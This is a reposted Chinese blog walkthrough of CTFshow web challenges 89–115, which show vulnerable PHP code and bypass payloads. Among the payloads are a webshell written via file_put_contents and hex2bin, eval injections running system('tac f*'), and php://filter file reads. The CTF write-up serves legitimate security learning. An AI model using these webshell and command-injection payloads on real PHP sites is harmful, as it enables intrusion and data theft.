我是靠谱客的博主 重要雨,最近开发中收集的这篇文章主要介绍CTFshow刷题日记-WEB-PHP特性(上篇89-115),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Part1

有关 intval() 函数的绕过技巧

web89

clude("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

能被intval认成数字,又不包括数字0-9

看了下intval函数,发现可以传数组

image-20210904171753065

?num[1]=a&num[2]=b

image-20210904171809053

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

关键是 intval($num,0)===4476 成立

int intval ( mixed $var [, int $base = 10 ] )
参数说明:

$var:要转换成 integer 的数量值。

$base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,

如果字符串以 "0" 开始,使用 8 进制(octal);否则,

将使用 10 进制 (decimal)。

但是intval不止支持十进制,所以可以用其他进制绕过

?num=0x117c  //16进制

还可以用小数绕过

?num=4476.4

echo intval(4.2);                     // 4    

因为intval是取整函数,所以

echo intval(4476a)		// 4476

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

两个 if 判断差在了 preg_match 的比较模式是不是有 m,所以 m 是什么就一定要搞明白了

称为内联匹配模式,通常用内联匹配模式代替使用枚举值RegexOptions指定的全局匹配模式,写起来更简洁。起来更简洁。
  (?i) 表示所在位置右侧的表达式开启忽略大小写模式
  (?s) 表示所在位置右侧的表达式开启单行模式。
  更改句点字符 (.) 的含义,以使它与每个字符(而不是除 n 之外的所有字符)匹配。
  注意:(?s)通常在匹配有换行的文本时使用
  (?m) 表示所在位置右侧的表示式开启指定多行模式。
  更改 ^ 和 $ 的含义,以使它们分别与任何行的开头和结尾匹配,
  而不只是与整个字符串的开头和结尾匹配。
  注意:(?m)只有在正则表达式中涉及到多行的“^”和“$”的匹配时,才使用Multiline模式。
  上面的匹配模式可以组合使用,比如(?is),(?im)。
  另外,还可以用(?i:exp)或者(?i)exp(?-i)来指定匹配的有效范围。

.表示除n之外的任意字符
*表示匹配0-无穷
+表示匹配1-无穷

也就是可以通过换行绕过第二个判断

payload

?cmd=111%0aphp			//%0a就是表示换行

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

咋一看和web90是一个题但是变成了弱类型比较

image-20210904184329674

之前的 4476a 此处就不适用了,因为

var_dump('4476a'==4476);
// 输出bool(true)

payload

可以用进制和小数绕过

?num=4476.6
?num=010574  //8进制    
?num=0x117c  //16进制     

还可以通过科学计数法e绕过

在url中输入的数据默认就是字符串类型

<?php
var_dump('4476e123'==4476);
var_dump(intval('4476e123'))
?>
    
// 输出
bool(false)	
//作为字符串类型进行弱类型比较现转换成数字4476e123科学计数法形式不等于数字4476
int(4476)  
//intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取
  
/?num=4476e123

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这很明显过滤了字母,也就是十六进制和科学记数法不能使用了,还有八进制和小数可以用

?num=4476.6
?num=010574  //8进制   

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多了个strpos函数

strpos — 查找字符串首次出现的位置
也就是说num中必须出现0,且0不能出现在第一位,因为如果出现在第一位则strpos返回00取反条件成立执行die
strpos() 函数对大小写敏感    

payload

?num=4476.0 
可以在八进制前边加空格
?num=  010574

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

加了过滤小数点,也就是小数格式无法使用

payload

?num= 010574

Part2

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

构造相对路径绕过弱类型比较

?u=./flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

a不等于b,但是md5值强类型相等

数组类型绕过

post:a[]=1&b[]=2
因为数组经过md5函数返回null,两个null强类型相等    

如果是弱类型比较可以找,两个数md5都是0e开头的就行

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

分解

$_GET?$_GET=&$_POST:'flag';
也就是说GET获取的变量都要在POST位置提交
最终目的是
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
也就是中间的两个没啥用
直接get任意,再post:HTTP_FLAG=flag

image-20210904195356130

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

上边的for就是生成了一个有数字组成的数组,重点在这个in_array函数

in_array函数也是弱类型比较

<?php
$array = array(1, 2, 3, 4);
var_dump(in_array("1a.php",$array));
?>
    
// bool(true)    

image-20210904200300760

image-20210904200311163

payload

get:?n=1a.php
post:content=<?php system('cat flag36d.php');?>
写入1a.php访问,查看源码即可    

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/;/", $v2)){
        if(preg_match("/;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

所以只要保证v1是数字v3有; 即可

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
或者直接拿到ctfshow.php
?v1=1&v2=system('nl ctfshow.php')/*&v3=*/;

也可以用反射的方法

首先来学习一下反射

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    	echo "hello</br>";
	}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  //获取一组常量
输出
array(1) {
	["PI"]=>
	float(3.14)
}

var_dump($a->getName());    //获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); //获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); //获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

payload

直接输出 ctfshow 类即可,也就是构造出 
echo new ReflectionClass('ctfshow');
payload:
?v1=1&v2=echo new ReflectionClass&v3=;

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\|/|~|`|!|@|#|\$|%|^|*|)|-|_|+|=|{|[|"|'|,|.|;|?|[0-9]/", $v2)){
        if(!preg_match("/\\|/|~|`|!|@|#|\$|%|^|*|(|-|_|+|=|{|[|"|'|,|.|?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>

加了好些过滤,但是都没有用

payload和100一样

image-20210905085359224

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

题目中的四个函数

1.is_numeric()
判断是否是数字,is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的
var_dump(is_numeric("0x66"));  
// php5的环境下返回true  php7返回false

2.substr()
字符串截取函数
substr("Hello world",6);
从length长度开始截取默认是直到字符串的结尾
// 输出 world
    
3.call_user_func($v1,$s);
把第一个参数作为回调函数调用
也就是说$v1可以是函数名,$s就是函数的值,就可以调用函数
    
4.file_put_contents($v3,$str)
把str的内容放入v3文件中

我们就可以利用is_numeric的特性传入一个十六进制数,通过substr函数时 0x 会被截去, call_user_func 函数处调用 hex2bin 函数将16进制转换成字符串写入文件中

hex2bin()
转换十六进制字符串为二进制字符串
hex2bin如果参数带0x会报错

将一句话编码成16进制

image-20210905091627522

<?php eval($_GET[1]);?>
0x3c3f706870206576616c28245f4745545b315d293b3f3e  

payload

?v2=0x3c3f706870206576616c28245f4745545b315d293b3f3e&v3=1.php
post:v1=hex2bin

但是这个题因为环境没有设置好用的是php7

image-20210905092226391

作者提供了另外一种方法

虽然文件内容不好控制,但是可以利用伪协议将内容进行编码转换。
所以如果能找到一条php语句经过base64编码,在转换为16进制之后全部都是数字不就可以通过了吗?
也就是说

$a="xxx";
$b=base64_encode($a);
$c=bin2hex($b);
如果$c全部都是纯数字就可以了。

这里直接借用其他师傅的payload

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

最终payload:

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
访问1.php,查看源码拿到flag

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

类型和上题一样,因为采用了base64编码所以可以绕过

web104

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

弱类型比较可以看这篇文章链接

这个题不用弱类型也可以

image-20210905094402168

也可以用数组绕过

web105

变量覆盖类型

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."n";
die($suces);

?>

题目一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的

payload

1.
get:?a=flag
post:error=a
// die($error);输出flag   
2.    
get:?a=flag
suces=a&flag=
// die($suces);输出flag   
    
3.
get:?suces=flag
post:flag=
// die($suces);输出flag   

通过die($error)输出
payload:a=flag post: error=a
进行的操作为

$a=$flag;
$error=$a;

此时 a = f l a g t e s t 123 ; a=flag{test123}; a=flagtest123;error=flag{test123};从而输出error也就是输出flag
通过die($suces)
payload:suces=flag&flag=
进行的操作为

$suces=$flag;

此时 s c u e s = f l a g t e s t 123 ; scues=flag{test123}; scues=flagtest123;_POST[‘flag’]=NULL; f l a g = N U L L , 满 足 ( flag=NULL,满足( flag=NULL(_POST[‘flag’]==$flag)

通过echo $flag
一个矛盾体,没有机会在不改变值的情况下输出,大家可以自行尝试进行验证。

web106

和104一样, 让sha函数加密后的值为0e开头即可

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

payload

get:v2=w9KASOk6Ikap
post:v1=aaO8zKZF

这样的值有的是

aaroZmOk:0e66507019969427134894567494305185566735
aaK1STfY:0e76658526655756207688271159624026011393
aaO8zKZF:0e89257456677279068558073954252716165668
aa3OFF9m:0e36977786278517984959260394024281014729

https://github.com/spaze/hashes/blob/master/sha1.md

web107

变量覆盖类型

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}
parse_str(string,array)
函数把查询字符串解析到变量中
string	必需。规定要解析的字符串
array	可选。规定存储变量的数组名称。该参数指示变量存储到数组中

payload

?v3=1
post:v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>

函数说明

ereg — 正则表达式匹配
strrev — 反转字符串

变量 c 只有字母时可以通过 ereg,但是 ereg 存在%00截断

PHP版本为5,intval函数可以识别十六进制

payload

?c=a%00778

首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}

考察点:php 异常类
先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。
举两个例子

Exception
ReflectionClass

payload

?v1=Exception;system('tac f*');&v2=a
v1=ReflectionClass&v2=system('tac f*')

web110

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");
}

在上题的基础上增加了许多过滤

考察点:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
具体使用方法
所以我们只需要再得到一个点或者路径就可以查看当前目录下的文件,得到一个/查看根目录下的文件。php中的getcwd()可以帮到我们这个忙。

getcwd()
getcwd — 取得当前工作目录
getcwd(void):string

payload:v1=FilesystemIterator&v2=getcwd
题目的话有个缺陷,如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag

image-20210905105417069

web111

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v1)){
            die("error v1");
    }
    if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

考察GLOBALS全局变量的使用

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

payload

?v1=ctfshow&v2=GLOBALS

在经过

eval("$$v1 = &$$v2;");

$ctfshow=$GLOBALS
var_dump($$v1);=var_dump($GLOBALS);

$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

不能让is_file检测出是文件,并且 highlight_file可以识别为文件, 这时候可以利用php伪协议

?file=php://filter/resource=flag.php

也可以用一些没有过滤掉的编码方式和转换方式

1.file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
2.file=compress.zlib://flag.php
3.file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|../|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

在上题的基础上把filter给过滤了

payload

file=compress.zlib://flag.php

payload2

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚

web114

if(preg_match('/compress|root|zip|convert|../|http|https|data|data|rot13|base64|string/i',$file))

和上两题一样,filter没有被过滤

payload

?file=php://filter/resource=flag.php

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} 

主要是trim函数和is_numeric函数的绕过

trim(string,charlist)

参数	描述
string	        必需。规定要检查的字符串。
charlist	    可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

""       - NULL
"t"       - 制表符
"n"       - 换行
"x0B"     - 垂直制表符
"r"       - 回车
" "        - 空格
for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."n";
   }
}

发现除了±.号以外还有只剩下%0c也就是换页符了

payload

?num=%0c36

参考链接

羽师傅的博客:https://blog.csdn.net/miuzzx/article/details/109168454

最后

以上就是重要雨为你收集整理的CTFshow刷题日记-WEB-PHP特性(上篇89-115)的全部内容,希望文章能够帮你解决CTFshow刷题日记-WEB-PHP特性(上篇89-115)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(61)

评论列表共有 0 条评论

立即
投稿
返回
顶部